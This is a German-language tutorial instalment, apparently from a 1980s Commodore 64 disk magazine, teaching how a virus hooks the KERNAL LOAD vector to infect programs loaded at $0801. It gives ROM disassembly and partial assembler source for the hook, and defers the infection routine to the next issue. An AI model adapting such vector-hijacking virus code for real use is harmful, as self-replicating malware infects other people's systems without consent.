Viruskurs, 3.Teil ‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾
Endlich geht es weiter. Der 3.Teil unseres Viruskurses liegt vor Ihnen! Heute geht es um die Vermehrung beim Laden, die sich von der beim Saven, wie wir sie ja letzten Monat besprochen haben, nur geringfügig unterscheidet. Wie gesagt kann sich unser kleiner Freund mittlerweile auch schon vermeh- ren. Dies tut er, indem er sich sozusagen über einen Vektor in die Saveroutine des Betriebssystems 'einklinkt' und diese steuert. Genau wie bei einem richtigen, biolo- gischen Virus, greift er in die DNA (Datenstruktur einer Zelle, in der alle
Informationen über den Körper, zu dem die Zelle gehört, gespeichert sind) seines Rechners (also dem Betriebssys- tem) ein, und ändert sie so ab, daß sie seiner Fortpflanzung dient. Der Trick dabei ist, daß er bei seinem 'Erwachen', sprich seinem Aufruf, einen Vektor, der auf die Saveroutine zeigt, auf seine eigene Saveroutine verbiegt. Dieser Vektor war für die Saveroutine der Vektor bei $0332/$0333. Für die Loadroutine ist dieser Vektor bei $0330/$0331. Und auch über diesen Vektor wird unser Virus aktiv, das heißt, er erwacht ebenfalls, wenn man
ein Programm laden will, und auch hier muß er, wie beim Saven auch, alle Arbeit allein tun, d.h. wir müssen uns zuerst einmal die Struktur der Loadroutine ansehen, um den Virus auch die richtigen Anweisungen geben zu können. Nun, wie wir ja wissen, hat die Load- routine auch ihren Platz im Betriebssys- tem, nämlich ab Adresse $FFD5. Ab dieser Adresse folgt nun ein Memory-Dump, so wie wir das auch bei der Saveroutine praktiziert haben: FFD5 JMP $F49E Auch hier wird einfach nur in das 'In-
nere' des Betriebssystemroms hineinge- sprungen. Dies ist übrigens eine Ein- richtung, die Commodore bei allen 'klei- nen' Homecomputern eingeführt hat. Es handelt sich dabei um eine Sprungta- belle am Ende des Betriebssystems, in der Routinen angesprungen werden, die auf allen Rechnern dieselbe Funktion erfüllen, aber bei jedem Rechner an einer anderen Stelle stehen. So kann man mit dem selben JMP-Befehl z.B. auch die LOAD-Routine des C16 oder des VC20 anspringen, da dann ab der Adresse $FFD5 auf die entsprechende Routine des Rechners gesprungen wird.
Dies hat man getan, um Programme teil- weise kompatibel zu machen, somit ist das Umschreiben von Assemblerroutinen einfacher (soweit die Hardware dies erlaubt), da man nicht die einzelnen Sprungadressen verändern muß. Nun aber weiter bei unserem Virus, werfen wir doch jetzt einmal einen Blick nach $F49E:
f49e stx $c3 ;Startadresse f4a0 sty $c4 ;merken f4a2 jmp ($0330) ;jmp $f4a5
Sie sehen, auch hier eine Parameterzwi- schenspeicherung, bevor über den Vektor
auf die Loadroutine gesprungen wird. Da sich in dem Vektor normalerweise die Werte $A5 und $F4 (in $0330 und $0331) befinden, wird hier auch auf Adresse $F4A5 gesprungen. Die Befehle ab hier sollten also auch von unserem Virus aus- geführt werden:
f4a5 sta $93 ;LOAD/VERIFY-Flag merken f4a7 lda #$00 ;Status f4a9 sta $90 ;löschen f4ab lda $ba ;Geräteadresse laden f4ad bne $f4b2 ;ungleich 0, also weiter f4af jmp $f713 ;'ILLIGAL DEVICE NUMBER' ;ausgeben f4b2 cmp #$03 ;vergleiche mit Code ;für Bildschirm
f4b4 beq $f4af ;Ja, dann Fehler! feb6 bcc $f533 ;kleiner 3, dann vom ;Band *********** Ab hier IEC-Load ***********
f4b8 ldy $b7 ;Länge des Filenamens ;laden f4ba bne $f4bf ;ungleich 0, dann ok. f4bc jmp $f710 ;'MISSING FILENAME' ;ausgeben f4bf ldx $b9 ;Sekundäradresse laden f4c1 jsr $f5af ;'SEARCHING FOR' und ;Filename ausgeben f4c4 lda #$60 ;Sekundäradresse 0 f4c6 sta $b9 ;laden und merken f4c8 jsr $f3d5 ;File auf IEC-Bus ;öffnen
f4cb lda $ba ;Gerätenummer laden f4cd jsr $ed09 ;und TALK senden f4d0 lda $b9 ;Sekundäradresse laden f4d2 jsr $edc7 ;und senden f4d5 jsr $ee13 ;Byte vom IEC-Bus holen f4d8 sta $ae ;als Startadresse-LO ;speichern An dieser Stelle ist es wichtig, daß unser Virus sich wieder einschaltet. Er muß nämlich nun wieder testen, ob es sich hierbei um ein File handelt, daß ab $0801 geladen wird. Sie errinnern sich - wir hatten ja vor, den Virus so zu schreiben, daß er kei- nerlei Daten zerstören kann. Dies könnte er tun, wenn er ein File infiziert, das
nicht ab $0801 geladen wird. Da er ja mit RUN gestartet werden muß, und bei Files, die nicht an diese Adres- se geladen werden, mit ziemlicher Wahr- scheinlichkeit damit gerechnet werden kann, daß sie auch nicht mit RUN gestar- tet werden, sondern meist Maschinenpro- gramme sind, die mit SYS-Befehlen aufgerufen werden. Das obige Listing entspricht nun bis jetzt haargenau unserem Quellcodelisting ab Zeile 1150-1480 (diese Befehle ändern sich ja nicht, trotzdem muß sie der Virus ausführen, also übernehmen wir sie einfach). Nun folgen mehrere Befehle, durch die der Virus testet, ob das
momentan zu ladende File bei $0801 beginnt:
1400 - cmp #01 ;vergleiche LO-Byte- ;Startadr. mit 01 1410 - bne cbmload1 ;ungleich, dann mit ;Betriebssystem ;normal weiterladen
Hier wird nun verglichen, ob das LO-Byte der Anfangsadress ($0801) übereinstimmt. Ist dies nicht der Fall, so wird einfach weiterverzweigt auf einen JMP $f4da, dieser Befehl steht im Sourcecode in Zeile 1580. Nun weiter im Listing, das ab nun wieder ein kleines Stück des Betriebssystems
enthält: 1420 -:
1430 - lda $90 ;Status laden 1440 - lsr ;Bit 1 ins Carry 1450 - lsr ;schieben 1460 - bcs loaderror ;falls gesetzt, ;dann Timeout ;(Ladefehler) 1470 - jsr $ee13 ;Startadresse-HI 1480 - sta $af ;holen und merken
Eigentlich nur ein kleiner Errorcheck, also ob beim Diskzugriff nicht doch ein Busfehler aufgetaucht ist. Die Verzwei- gung auf das Label LOADERROR ist eine Verzweigung auf ein JMP $F704. Diese
Routine gibt schlicht und einfach ein 'FILE NOT FOUND' aus. Der Sprungbefehl steht im Quellcode- listing in Zeile 1560. Solche Branch-Verzweigungen auf Sprung- befehle sind übrigens unbedingt notwen- dig, da bei Branch-Verzweigungen grund- sätzlich nur um 128 Bytes jeweils in den vorangehenden, oder in den nachfolgenden Speicher gesprungen werden kann. Ab Zeile 1470 haben wir nun wieder die Befehlssequenz, die ein Byte holt und es als Startadresse-HI zwischenspeichert. Hier nun also wieder unsere gewohnte Vergleichssequenz, ob also, nachdem das LO-Byte mit $0801 übereinstimmte, dies auch bei dem HI-Byte zutrifft (hätte das
LO-Byte nicht gestimmt, dann würde jetzt sowieso schon die LOAD-Routine im Betriebssystem weiterarbeiten...).
1500 - cmp #08 ;vergleiche mit 8 1510 - bne cbmload2 ; wenn nein, dann ;weiter im ;Betriebssystem 1520 - jsr $f4e5 ;springe auf rest- ;liche Loadroutine 1530 - bcc inftest ;Wenn kein Fehler, ;dann weiter, 1540 - rts ;andernfalls Ende 1550 -;******************************** 1560 -loaderror jmp $f704 1570 -xf533 jmp $f533 1580 -cbmload1 jmp $f4da
1590 -cbmload2 jmp $f4e5 1600 -;********************************
Nach unserem Vergleich wird auf die restliche Loadroutine als Unterroutine (JSR) gesprungen, um das File ganz schlicht und einfach von Disk zu laden. Wenn aus der Loadroutine zurückgekehrt wurde, geht es weiter mit einem Test, ob während des Ladens ein Fehler aufgetre- ten ist (die Loadroutine gibt ein ge- setztes Carrybit zurück, sollte ein Fehler aufgetreten sein). Wenn ein Fehler aufgetreten ist, dann wird einfach wieder zurückgesprungen, und der Virus bleibt friedlich. Ist kein Fehler aufgetreten, wird zur
nächsten Routine verzweigt. Sie heißt INFTEST und beginnt ab Zeile 1610. Das, was nun weiter geschehen wird, wollen wir in der nächsten Ausgabe besprechen. Der weitere Verlauf ist zwar relativ einfach zu erläutern, doch muß ich Ihnen noch einige Hinweise auf ein Routine am Anfang der Loadroutine geben. Ich verabschiede mich nun also bis zum nächsten Monat und wünsche weiterhin ein 'Allzeit, gut Hack!'